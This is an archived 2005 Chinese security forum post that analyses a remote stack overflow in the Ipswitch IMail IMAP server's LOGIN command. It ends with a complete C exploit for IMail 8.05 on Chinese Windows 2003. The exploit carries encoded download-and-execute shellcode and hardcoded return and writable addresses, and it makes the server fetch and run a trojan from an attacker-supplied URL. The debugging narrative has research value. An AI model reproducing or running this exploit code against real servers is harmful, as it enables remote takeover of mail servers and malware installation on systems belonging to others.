邪恶八进制信息安全团队技术讨论组's Archiver

sunwear 2005-11-22 21:32

[转载]Ipswitch IMAP Server "LOGIN"命令远程栈溢出分析

信息来源:安全焦点技术论坛
文章作者:ppwd([email]ppwd25@163.com[/email])

----------------
Ipswitch IMAP Server "LOGIN"命令远程栈溢出分析
                  ppwd
           [email]ppwd25@163.com[/email]
              2005-11-19
1 漏洞描述
2 漏洞简要分析
3 漏洞利用方法
4 测试程序

1 漏洞描述
前几天一个朋友问我imail服务器有没有什么好用的漏洞?我到google上搜索了以下,发现6月份iDEFENSE公布了几个有关imail的DoS漏洞,其中有个比较严重的漏洞,就是IMAP服务程序在处理“LOGIN”命令时存在栈溢出漏洞。如果给服务器提供超长的用户名时,将导致服务程序出现异常。
例如,用telnet连接上服务器的143端口之后,给它发送如下字符串,
A001 LOGIN user@aaaaaa................aaaaaaaaaaaaaaaaa nolimits
将导致IMAP服务程序终止执行。
nolimit and BuzzDee已经给出了PoC程序,具体可以查看
[url]http://www.securiteam.com/exploits/5WP0B0KG1K.html[/url]。
但这篇文章上说在WinXP SP2和Win2003下无法正常溢出,其主要原因有:
(1)   溢出字符串必须是可见字符,意味着跳转地址也必须是可见字符,这种地址只可能在系统DLL中出现。
(2)   PoC程序是采用覆盖SEH结构来加以利用的,但是WinXP SP2和Win2003对异常处理函数做了限制,如果该函数地址在某个系统DLL中出现,则必须是该DLL中注册过的异常处理函数。
我看看了,如果采用覆盖SEH处理结构的方法话,确实没有什么其它好用的方法,但是有没有其它的方法可以利用?这个漏洞不是栈溢出吗?那可不可以采用覆盖函数返回地址的方法呢?为了弄清楚这个问题,就需要分析漏洞的产生原因了。

2 漏洞简要分析
该漏洞主要是由于IMailsec.dll中的GetIMailUserEntry函数对用户名处理不当所造成的。当我们提供如下用户名时
user@aaaaaa
函数GetIMailUserEntry会取出用户名中的域名,并调用函数wsprintfA对其进行格式化,
wsprintfA(buff,“SOFTWARE\\Ipswitch\\IMail\\Domains\\%s\\User”,“aaaaaa”)
其中buff是栈中分配的一块缓冲区。由于在格式化之前没有检测域名的长度,如果我们提供过长的域名,将导致缓冲区溢出,从而覆盖函数的返回地址,甚至SEH处理结构。该调用过程对应的汇编代码如下:
.text:1000E18B            mov    ecx, [ebp+var_414]
.text:1000E191            push   ecx
.text:1000E192            mov    edx, off_1003546C
.text:1000E198            push   edx         ; LPCSTR
.text:1000E199            lea    eax, [ebp+SubKey]
.text:1000E19F            push   eax         ; LPSTR
.text:1000E1A0            call   ds:wsprintfA
以上就是该漏洞产生的原因。

3 漏洞利用方法
现在知道了该漏洞是一个典型的栈溢出漏洞,但是如何来利用呢?栈溢出一般有两种方法,一种是覆盖SEH处理结构,BuzzDee采用的就是这种方法。我当时在想,为什么不采用覆盖函数返回地址的方法呢?后来调试时发现,虽然可以覆盖函数的返回地址,但是在函数返回之前会出现异常,所以没法返回到我们指定的地址去执行。那是什么原因导致的异常呢?
在调用wsprintfA会调用函数GetIMailHostEntry,异常就发生在该函数内。
.text:1000E1A9            mov    ecx, [ebp+var_414]
.text:1000E1AF            push   ecx
.text:1000E1B0            mov    edx, [ebp+lpString]
.text:1000E1B3            push   edx
.text:1000E1B4            call   GetIMailHostEntry
该函数的第一个参数是一个指针,指向一块大小为0x640的缓冲区。下面两条汇编语句将第一个参数入栈,
.text:1000E1B0            mov    edx, [ebp+lpString]
.text:1000E1B3            push   edx
其中lpString是函数GetIMailUserEntry的第二个参数,而我们刚才溢出的的时候会覆盖该参数,如果该参数指向一个不存在的地址,将出现异常。这也就是异常出现的原因。后来发现,只要给该参数提供一个不小于0x640字节的可写地址,GetIMailHostEntry将不会出现异常。
因此如果要采用覆盖函数返回地址的方法,就必须做到以下两点:
(1)找一个类似于“jmp esp”的跳转地址,并且该地址中的每个字节都必须是可见字符。
(2)找一个不小于0x640字节的可写地址,同样要求该地址中的每个字节都是可见字符。
为了使得这两个地址都是可见字符,只能在系统DLL中找,这就给通用性带来了很大的问题。后来专门写了个工具,用来在系统DLL中查找这样的地址。在Win2000 SP4简体中文版下,跳转地址为0x777d7477,可写地址为0x717e6641,在Win2003 SP0简体中文下,跳转地址为0x777d7477,可写地址为0x717e6641。
开始以为找到这两个地址之后,就可以万事大吉了,后来发现,离成功利用还有很长的一段距离,那就是shellcode的问题。因为shellcode必须全是可见字符,所以编写起来比较困难。后来采用的是phrack杂志上提供的编写字符型shellcode的方法。采用这种方法又带来了另外一个问题。由于采用该方法编码时,将一个字节拆分成两个字节,再加上一个解码头部,使得shellcode的字节数比较多。而该漏洞对shellcode的字节数有限制。

思路1:
刚开始时,缓冲区的构造方法如下:
| nop指令 | 返回地址 | 参数1 | 参数2 | shellcode代码 |
但是由于缓冲区的地址快接近栈的末尾,所以采用这种方法时会导致异常,后来就采用如下的方法。

思路2:
| shellcode 0x1EC字节 | 返回地址 | 参数1 | 参数2 | 跳转代码 |
其中参数2为一个可写地址,跳转代码用来跳转到前面安排的shellcode去执行。但是这样又带来了一个新的问题,shellcode的长度最多为0x1EC(492)字节,而我们平时写的那些shellcode经过字符编码之后,都超过了该长度。没办法,只好该shellcode了。经过不懈的努力,最后终于将shellcode改小到211字节,但是功能比较简单,用来下载木马并执行。

思路3:
后来想写个绑定端口的shellcode,但是怎么减也减不下来,于是考虑采用另外一种思路,采用如下的方法来构造缓冲区:
| shellcode1 | 返回地址 | 参数1 | 参数2 | 跳转代码 | shellcode2 |
在shellcode经过字符编码之后,将其分成两部分:shellcode1和shellcode2,shellcode1的大小固定,为0x1EC字节,剩下的字节放到shellcode2中。
跳转代码用来完成以下功能:
(1)   自身解码
(2)   将解码后的代码拷贝到shellcode2之后执行
(3)   将shellcode2拷贝到shellcode1后,将shellcode1和shellcode2合并成拆分前的内容
(4)   对shellcode进行解码
(5)   跳转到shellcode执行
后来发现,采用这种方法确实可行,可以完成绑定端口的功能。但是由于要实现上述跳转代码的功能要求的代码数量比较多,所以剩下的用来存放shellcode2的空间就不是很多了。
好了,就写到这里了。写的比较简单,主要是为了记录下调试过程中遇到的一些问题,以及一些解决方法,免得以后忘记。在调试得过程中有个深切的体会:思路是简单的,道路是曲折的。。。。。。

4 测试程序
以下是漏洞利用测试程序,针对Imail8.05有效,在Win2003 SP0简体中文版下调试通过。
[code]
// ImaiExploit.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")


#define esp_mixedcase_ascii_decoder "AATYQZjAXP0AAAkARQ2AS2BS0BSABXP8ASuJI"
char   *alphaEncodeShellcode(char *shellcode, int size);
long   gimmeip(char *hostname);

char downexec[] =
"\xe9\xb1\x00\x00\x00\x5b\x33\xc9\xb1\x30\x64\x8b\x01\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x89\x03\x8d\x7b\x04\xb1\x04\xe8\x47"
"\x00\x00\x00\x83\xc7\x04\xe2\xf6\x8d\x43\x18\x50\xff\x53\x04\x89"
"\x03\x8d\x7b\x14\xe8\x31\x00\x00\x00\x83\xec\x70\x8b\xfc\x6a\x70"
"\x57\xff\x53\x08\xc7\x04\x38\x5c\x61\x2e\x65\xc7\x44\x38\x04\x78"
"\x65\x00\x00\x33\xed\x55\x55\x57\x8d\x73\x1f\x56\x55\xff\x53\x14"
"\x55\x57\xff\x53\x0c\x4d\x55\xff\x53\x10\x60\x8b\x2b\x03\x6d\x3c"
"\x8b\x6d\x78\x03\x2b\x8b\x55\x20\x03\x13\x33\xc0\x33\xc9\x8b\x32"
"\x03\x33\xac\x38\xe0\x74\x07\xc1\xc9\x0d\x03\xc8\xeb\xf4\x3b\x0f"
"\x74\x05\x83\xc2\x04\xeb\xe5\x2b\x55\x20\x2b\x13\xd1\xea\x03\x55"
"\x24\x03\x13\x0f\xb7\x02\xc1\xe0\x02\x03\x45\x1c\x03\x03\x8b\x00"
"\x03\x03\x89\x07\x61\xc3\xe8\x4a\xff\xff\xff\x00\x00\x00\x00\x8e"
"\x4e\x0e\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xb0\x49\x2d\xdb\x36"
"\x1a\x2f\x70";

char Decode[] =
"\x81\xec\xec\x01\x00\x00\x8b\xcc\x8b\xd1\x6b\x01\x10\x41\x32\x01"
"\x88\x02\x41\x42\x8a\x01\x3c\x41\x75\xf0\x41\x41\x33\xc0\x8a\x01"
"\x88\x02\x3c\x41\x75\x02\x88\x22\x41\x42\x66\x8b\x19\x66\x81\xfb"
"\x41\x41\x75\xea\x88\x22\x8b\xcc\x83\xec\x70\x51\xc3";

//DWORD   dwJmpAddr   = 0x777d7477;   // for win2000 sp4 cn
//DWORD   dwWriteAddr = 0x717e6641;

//DWORD   dwJmpAddr   = 0x7741246b;   // for win2003 en in shell32.dll .text
//DWORD   dwWriteAddr = 0x77574460;   // for win2003 en in shell32.dll .data

DWORD   dwJmpAddr   = 0x775f2150;   // for win2003 cn in shell32.dll .text
DWORD   dwWriteAddr = 0x77564460;   // for win2003 cn in shell32.dll .data

int main(int argc,char *argv[])
{
   WSADATA wsaData;
   struct sockaddr_in targetTCP;
   int sockTCP;
   unsigned short port = 143;
   long ip;
   int paddingSize;

   if(argc != 3)
   {
      printf("IpSwitch IMAP server Remote Stack Overflow.\n"
      "Usage: \n"
      "\t%s [address] [URL] \n"
      " eg: %s  10.0.0.198  [url]http://10.0.0.192/joke.exe[/url] \n"      
      ,argv[0], argv[0]);
      return -1;
   }


   char shellcode[0x1000];
   char *pszEncode, *pszDecode;

   WSAStartup(0x0202, &wsaData);
   printf("[*] Target:\t%s \tPort: %d\n\n",argv[2],port);/**/
   
   //form buffer here.
   char *temp;
   char buffer[3000];

   printf("[*] Prepare shellcode ... \n");

   memset(shellcode, 0, sizeof(shellcode));
   //done formatting, now lets encode it.
   pszEncode = alphaEncodeShellcode(downexec, sizeof(downexec) - 1);
   strcpy(shellcode, pszEncode);
   strcat(shellcode, "AA");   //解码标记
   strcat(shellcode, "urlmon.dllA");
   strcat(shellcode, argv[2]);
   strcat(shellcode, "AA");   //shellcode结束标记
      
   printf("Shellcode length is : %d \n", strlen(shellcode));
   printf("Shellcode is : \n%s\n\n", shellcode);
   if(strlen(shellcode) > 0x1ec)
   {
      printf("Shellcode is too long !\n");
      printf("%s\n", shellcode);
      return -1;
   }
   pszDecode = alphaEncodeShellcode(Decode, sizeof(Decode));

   memset(buffer, 0x41, sizeof(buffer));
   strcpy(buffer,"A001 LOGIN user@");
   temp = buffer + strlen(buffer);
   memcpy(temp, shellcode, strlen(shellcode));
   temp += 0x1ec;
   *(DWORD *)(temp) = dwJmpAddr;      // eip
   *(DWORD *)(temp + 4) = 0x21732172;   // argv1
   *(DWORD *)(temp + 8) = dwWriteAddr; // argv2   
   temp += 12;
   memset(temp, 0x41, 0x28);
   temp += 0x28;
   *temp = 0;
   strcat(temp, esp_mixedcase_ascii_decoder);
   strcat(temp, pszDecode);
   strcat(temp, "AAAA");
   strcat(buffer, " nolimits\r\n");

   printf("Buffer length is : %d \n", strlen(buffer));
   
   // connect romote host and send formated buffer
   ip=gimmeip(argv[1]);
   targetTCP.sin_family = AF_INET;
   targetTCP.sin_addr.s_addr = ip;
   targetTCP.sin_port = htons(port);

   //buffer formed
   if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
   {
      printf("[x] Socket not initialized! Exiting...\n");
      WSACleanup();
      return 1;
   }
   
   printf("[*] Socket initialized...\n");
   if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
   {
      printf("[x] Connection to host failed! Exiting...\n");
      WSACleanup();
      exit(1);
   }
   printf("[*] Sending buffer...\n");
   Sleep(1000);
   if (send(sockTCP, buffer, strlen(buffer),0) == -1)
   {
      printf("[x] Failed to inject packet! Exiting...\n");
      WSACleanup();
      return 1;
   }
   Sleep(1000);
   closesocket(sockTCP);
   WSACleanup();
   printf("Exploit sent ok ! If you are luck, trojan has been downloaded and executed !\n");
   return 0;
}


/*******************************************************************/
long gimmeip(char *hostname)
{
   struct hostent *he;
   long ipaddr;

   if ((ipaddr = inet_addr(hostname)) < 0)
   {
      if ((he = gethostbyname(hostname)) == NULL)
      {
        printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
        WSACleanup();
        exit(1);
      }
      memcpy(&ipaddr, he->h_addr, he->h_length);
   }
   ipaddr = inet_addr(hostname);
   return ipaddr;
}
/********************************************************************/


//Below here, all code is modified code from ALPHA 2: Zero-tolerance by
// Berend-Jan Wever aka Skylined <[email]skylined@edup.tudelft.nl[/email]>. Hats off to him.


// shellcode ptr & size
char* alphaEncodeShellcode(char *shellcode, int size)
{
   int i, A, B, C, D, E, F;
   char* valid_chars="0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
   //first, create a big enough shellcode memory section
   char *encShellcode = (char *) malloc(size * 2);
   memset(encShellcode, 0, size * 2);
   char buff[4];
   int z=0;
   for(;z < size;z++)
   {
      // encoding AB -> CD 00 EF 00
      A = (shellcode[z] & 0xf0) >> 4;
      B = (shellcode[z] & 0x0f);

      F = B;
      // E is arbitrary as long as EF is a valid character
      i = rand() % strlen(valid_chars);
      while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
      E = valid_chars[i] >> 4;
      // normal code uses xor, unicode-proof uses ADD.
      // AB ->
      D = 0 ? (A-E) & 0x0f : (A^E);
      // C is arbitrary as long as CD is a valid character
      i = rand() % strlen(valid_chars);
      while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
      C = valid_chars[i] >> 4;
      //edit, use curChar ptr to strncpy it.
      //printf("%c%c", (C<<4)+D, (E<<4)+F);
      sprintf(buff,"%c%c",(C<<4)+D, (E<<4)+F);
      strcat(encShellcode,buff);
   }
   return encShellcode;
}
[/code]

页: [1]
© 1999-2008 EvilOctal Security Team